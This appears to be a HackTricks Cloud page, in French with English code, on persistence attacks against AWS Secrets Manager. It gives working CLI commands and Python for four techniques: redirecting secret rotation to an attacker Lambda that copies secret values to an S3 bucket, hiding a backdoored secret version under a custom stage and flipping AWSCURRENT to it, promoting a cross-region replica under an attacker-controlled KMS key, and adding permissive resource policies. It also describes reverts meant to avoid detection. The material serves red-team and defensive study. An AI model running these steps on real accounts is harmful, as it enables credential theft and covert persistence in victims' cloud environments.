AWS - Secrets Manager Persistence
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Secrets Manager
Pour plus d'informations, voir :
Via Resource Policies
Il est possible d'accorder l'accÚs aux secrets à des comptes externes via des resource policies. Consultez la Secrets Manager Privesc page pour plus d'informations. Notez que pour accéder à un secret, le compte externe aura également besoin d'accéder à la clé KMS qui chiffre le secret.
Via Secrets Rotate Lambda
Pour faire la rotation des secrets automatiquement, une Lambda configurĂ©e est appelĂ©e. Si un attaquant pouvait modifier le code, il pourrait directement exfiltrer le nouveau secret vers lui-mĂȘme.
Voici Ă quoi pourrait ressembler le code d'une Lambda pour une telle action :
import boto3
def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password
# Example: Generate a new password
new_secret_value = generate_password()
return new_secret_value
def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
Remplacer la rotation Lambda par une attacker-controlled function via RotateSecret
Abuse secretsmanager:RotateSecret pour réaffecter un secret vers une attacker-controlled rotation Lambda et déclencher une rotation immédiate. La fonction malveillante exfiltrates les versions du secret (AWSCURRENT/AWSPENDING) pendant les étapes de rotation (createSecret/setSecret/testSecret/finishSecret) vers un attacker sink (par ex., S3 ou HTTP externe).
-
Prérequis
-
Permissions:
secretsmanager:RotateSecret,lambda:InvokeFunctionsur la attacker Lambda,iam:CreateRole/PassRole/PutRolePolicy(ou AttachRolePolicy) pour provisionner le rÎle d'exécution Lambda avecsecretsmanager:GetSecretValueet de préférencesecretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage(pour que la rotation continue de fonctionner), KMSkms:Decryptpour la clé KMS du secret, ets3:PutObject(ou egress sortant) pour l'exfiltration. -
Un SecretId cible (
SecretId) avec rotation activée ou la capacité d'activer la rotation. -
Impact
-
The attacker obtient la(les) valeur(s) du secret sans modifier le code de rotation légitime. Seule la configuration de rotation est modifiée pour pointer vers la attacker Lambda. Si cela n'est pas détecté, les rotations programmées futures continueront à invoquer la fonction de l'attacker.
-
Ătapes d'attaque (CLI)
- Préparer attacker sink et le rÎle Lambda
- Créer un bucket S3 pour l'exfiltration et un rÎle d'exécution trusted by Lambda avec les permissions pour lire le secret et écrire dans S3 (plus logs/KMS si nécessaire).
- Déployer la attacker Lambda qui à chaque étape de rotation récupÚre les valeur(s) du secret et les écrit dans S3. Une logique minimale de rotation peut simplement copier AWSCURRENT vers AWSPENDING et la promouvoir dans finishSecret pour garder le service opérationnel.
- Réaffecter la rotation et déclencher
aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
- Vérifier l'exfiltration en listant le préfixe S3 pour ce secret et en inspectant les artefacts JSON.
- (Optionnel) Restaurer la rotation Lambda originale pour réduire la détection.
- Exemple attacker Lambda (Python) exfiltrating vers S3
- Environnement:
EXFIL_BUCKET=<bucket> - Handler:
lambda_function.lambda_handler
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']
def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Abuse Secrets Manager version staging labels pour implanter une version de secret contrÎlée par l'attaquant et la garder cachée sous un stage personnalisé (par exemple, ATTACKER) tandis que la production continue d'utiliser l'original AWSCURRENT. à tout moment, basculer AWSCURRENT vers la version de l'attaquant pour empoisonner les workloads dépendants, puis le restaurer pour minimiser la détection. Cela fournit une persistence backdoor discrÚte et une manipulation rapide au moment de l'utilisation sans changer le nom du secret ni la config de rotation.
-
Exigences
-
Autorisations:
secretsmanager:PutSecretValue,secretsmanager:UpdateSecretVersionStage,secretsmanager:DescribeSecret,secretsmanager:ListSecretVersionIds,secretsmanager:GetSecretValue(pour vérification) -
ID du secret cible dans la Région.
-
Impact
-
Maintenir une version cachée et contrÎlée par l'attaquant d'un secret et basculer atomiquement
AWSCURRENTvers celle-ci Ă la demande, influençant tout consommateur rĂ©solvant le mĂȘme nom de secret. La bascule et le revert rapide rĂ©duisent les chances de dĂ©tection tout en permettant une compromission au moment de l'utilisation. -
Ătapes de l'attaque (CLI)
-
Préparation
-
export SECRET_ID=<target secret id or arn>
Commandes CLI
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}
# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"
# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
# 4) On-demand flip to the attackerâs value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"
# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
- Remarques
- Lorsque vous fournissez
--client-request-token, Secrets Manager l'utilise comme leVersionId. Ajouter une nouvelle version sans définir explicitement--version-stagesdéplaceAWSCURRENTvers la nouvelle version par défaut, et marque la précédente commeAWSPREVIOUS.
Cross-Region Replica Promotion Backdoor (replicate â promote â permissive policy)
Exploitez la réplication multi-Region de Secrets Manager pour créer une réplique d'un secret cible dans une Region moins surveillée, la chiffrer avec une clé KMS contrÎlée par l'attaquant dans cette Region, puis promouvoir la réplique en secret autonome et lui attacher une resource policy permissive accordant à l'attaquant l'accÚs en lecture. Le secret original dans la Region primaire reste inchangé, offrant un accÚs persistant et furtif à la valeur du secret via la réplique promue tout en contournant les contraintes KMS/policy sur le primaire.
-
Prérequis
-
Permissions :
secretsmanager:ReplicateSecretToRegions,secretsmanager:StopReplicationToReplica,secretsmanager:PutResourcePolicy,secretsmanager:GetResourcePolicy,secretsmanager:DescribeSecret. -
Dans la Region de la réplique :
kms:CreateKey,kms:CreateAlias,kms:CreateGrant(oukms:PutKeyPolicy) pour permettre au principal attaquantkms:Decrypt. -
Un principal attaquant (user/role) devant recevoir l'accĂšs en lecture au secret promu.
-
Impact
-
Chemin d'accÚs persistant inter-Region à la valeur du secret via une réplique autonome protégée par un CMK KMS contrÎlé par l'attaquant et une resource policy permissive. Le secret primaire dans la Region d'origine reste inchangé.
-
Attaque (CLI)
-
Variables
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
- Créer une clé KMS contrÎlée par l'attaquant dans la région répliquée
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
- Répliquer le secret vers R2 en utilisant la clé KMS de l'attaquant
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
- Promouvoir la réplique en tant qu'instance autonome dans R2
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
- Attacher une politique de ressource permissive au secret autonome dans R2
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
- Lire le secret de l'attacker principal dans R2
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks Cloud